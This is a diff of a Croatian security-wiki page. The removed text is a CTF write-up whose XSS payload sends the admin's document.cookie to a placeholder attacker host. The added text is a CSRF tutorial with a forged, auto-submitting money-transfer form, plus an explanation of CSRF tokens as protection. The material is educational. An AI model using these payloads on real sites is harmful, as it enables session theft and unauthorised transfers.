Differences

This shows you the differences between two versions of the page.

--- csrf [2023/11/21 13:45] – created zrinka
+++ csrf [2025/12/01 11:40] (current) – external edit 127.0.0.1
@@ Line 1: / Line 1: @@
-__PRIMJER__ -**Zadatak s Hacknite platforme - Korisni linkovi**
+====CSRF=====
-<file>
-Kako bi olakšao učenje sebi i svojim prijateljima, Mario je odlučio napraviti stranicu za razmjenjivanje
-linkova. On i njegovi prijatelji si mogu slati linkove zanimljivih članaka, tutoriala ili slično.
-Iako vjeruje svojim prijateljima, i zna da nisu zlonamjerni, nakon što mu netko od njih pošalje link,
+**CSRF** (//Cross site request forgery//) je vrsta napada koja iskorištava ranjivost nastalu zbog nerazlikovanja autentičnih zahtjeva korisnika od krivotvorenih. Najjednostavniji primjer je sljedeći:
-Mario se ulogira na stranicu svojim korisničkim imenom 'admin' i provjeri svaki poslani link tako
-što ode na njega i provjeri na koju stranicu link vodi. To ipak može potrajati nekoliko sekundi,
-jer Mario voli detaljnije proučiti stranicu na kojoj se nalazi.
-Početkom nove akademske godine, odlučio je proširiti stranicu, i sad je i drugi ljudi mogu koristiti.
+Zamislimo da se na adresi <code>www.example.com</code> nalazi bankarska aplikacija koja ima funkcionalnost gdje se slanjem GET zahtjeva
-Mario  ti je odlučio dati pristup stranici. Možeš se registrirati, ulogirati, i slati mu korisne linkove.
-Osim toga, odlučio ti je dati i source kod stranice na kojoj provjerava linkove tako da bi mogao vidjeti
-na koji on to točno radi.
-Flag je u formatu CTF2021[brojevi]
+<code>www.example.com/transfer?amount=1000&to=receiver_username</code>
+šalje količinu novaca u parametru //amount// s računa korisnika koji je napravio taj zahtjev na račun korisnika s korisničkim računom //receiver_username//.
+Napadač može prilagoditi parametre //amount// i //to// u URL-u i poslati takav link žrtvi. Klikom na link, žrtva bi poslala novce napadaču.
+Napad bi potencijalno bio moguć i da funkcionalnost koristi POST zahtjev. Pretpostavimo da bankarska aplikacija koristi formu sljedećeg izgleda:
+<code html>
+	<form action="/transfer" method="POST">
+		<label for="amount">Amount: </label>
+		<input type="text" name="amount" id="amount"/>
+		<label for="to">To: </label>
+	 	<input type="text" name="to" id="amount">
+		<input type="submit"/>
+	</form>
-http://chal.platforma.hacknite.hr:10008
-</file>
-U prilogu se nalazi još jedna php datoteka.\\
-Ako pratimo poveznicu, dolazimo na početnu stranicu koja od nas traži registraciju. Nakon što su napravimo, došli smo do stranice gdje možemo odabrati osobu i link koji joj šaljemo. Primjećujemo mjesto za korisnički input koje, ako nema dobro riješeno pročišćavanje unosa, može biti potencijalno ranjivo. \\
-Budući da iskorištavamo XSS ranjivost, prvo ćemo napraviti svoju web stranicu sa IP adresom {//ip_zlonamjerne_stranice//}. Marijeva stranica sadrži dio za pretraživanje linkova te ćemo u njega upisati
-<code>
-[javascript] document.location="http://{ip__zlonamjerne_stranice}/?c="+document.cookie;[/javascript]
 </code>
-Budući da Marijeva stranica ne radi nikakvu provjeru predanih linkova,ovaj JavaScript kod će se izvršiti. Preko parametra c poslani su kolačići s trenutne stranice na našu, zlonamjernu. Nakon toga na Marijevoj stranici kao ulogirani korisnik odaberemo podstranicu za slanje novih linkova. Administratoru (Mariju) pošaljemo sljedeći link:
-<code>
+Zatim kreira svoju lažnu stranicu te na njoj postavi sljedeći obrazac:
-http://ip_adresa_zadatka/search.php?query=%3Cscript%3Edocument.location%3D%22http%3A%2F%2F{ip_zlonamjerne_stranice}%2F%3Fc%3D%22%2Bdocument.cookie%3B%3C%2Fscript%3E
+<code html>
-</code>
+	<form action="https://www.example.com/transfer" method="POST">
-Ovime smo kao //query// parameter unijeli skriptu koja prebacuje našu trenutnu lokaciju na ip_zlonamjerne_stranice i opet smo kao c parametar unijeli document.cookie. Za razumijevanje linka važni su ovi znakovi: \\
+		<input type="hidden" name="amount" value="1000"/>
-%3C < \\
+		<input type="hidden" name="to" value="attacker">
-%3E > \\
+		<input type="submit" value="REGISTER">
-%3D = \\
+	</form>
-%22 " \\
+</code>
-%3A : \\
-%3F ? \\
+Kada bi žrtva posjetila napadačevu stranicu i pokušala se registrirati klikom na gumb REGISTER, poslala bi zahtjev POST prema <code>www.example.com/transfer</code> s parametrima amount i to postavljenim na "1000" i "attacker".
-%2F / \\
-%3B ; \\
+No, slanje ovog zahtjeva je moguće automatizirati tako da ga žrtva pošalje samim posjetom stranice. Npr. dodavanjem funkcije submit u onload atribut u body elementu:
-Kad prevedemo link na taj način, uočit ćemo da je isti kao onaj koji smo na početku upisali u svoju zlonamjernu stranicu. Ova naredba unutar <script> taga nam je omogućila da se ispiše flag koji je sadržan u kolačiću. Desetak sekundi nakon slanja ove naredbe trebao bi se pojaviti flag u logu dockera. \\
+<code html>
+<body onload="document.forms[0].submit()">
+	<form...>
+	...
+	</form>
+</body>
+</code>
+Ako je žrtva u trenutku kada posjeti napadačevu stranicu prijavljena u bankarsku aplikaciju i ako je ta aplikacija ranjiva na CSRF napade, novac bi se sa žrtvinog računa prebacio na napadačev.
+Osnovni razlog za CSRF napade je da web aplikacija nema implementirane mehanizme po kojima bi mogla razlikovati legitimne od nelegitimnih zahtjeva.
+Najbolja zaštita od ovakvih napada je korištenje CSRF tokena. To su nasumično generirane vrijednosti čija
+u sjednicu korisnika svakim novim zahtjevom i imaju kratak period trajanja. Unutar svakog novog zahtjeva klijent šalje predani token natrag nakon čega poslužitelj provjerava njegovu validnost. Ako je vrijednost ispravna, zahtjev se izvršava i postavlja se novi token. Budući da (ako su CSRF tokeni ispravno implementirani) napadač ne može pogoditi vrijednost CSRF tokena, ne može ni lažirati korisnički zahtjev. CSRF tokeni se često ne postavljaju u [[HTTP]] GET zahtjeve zbog čega je bitno da se GET zahtjevima ne može mijenjati stanje u aplikaciji.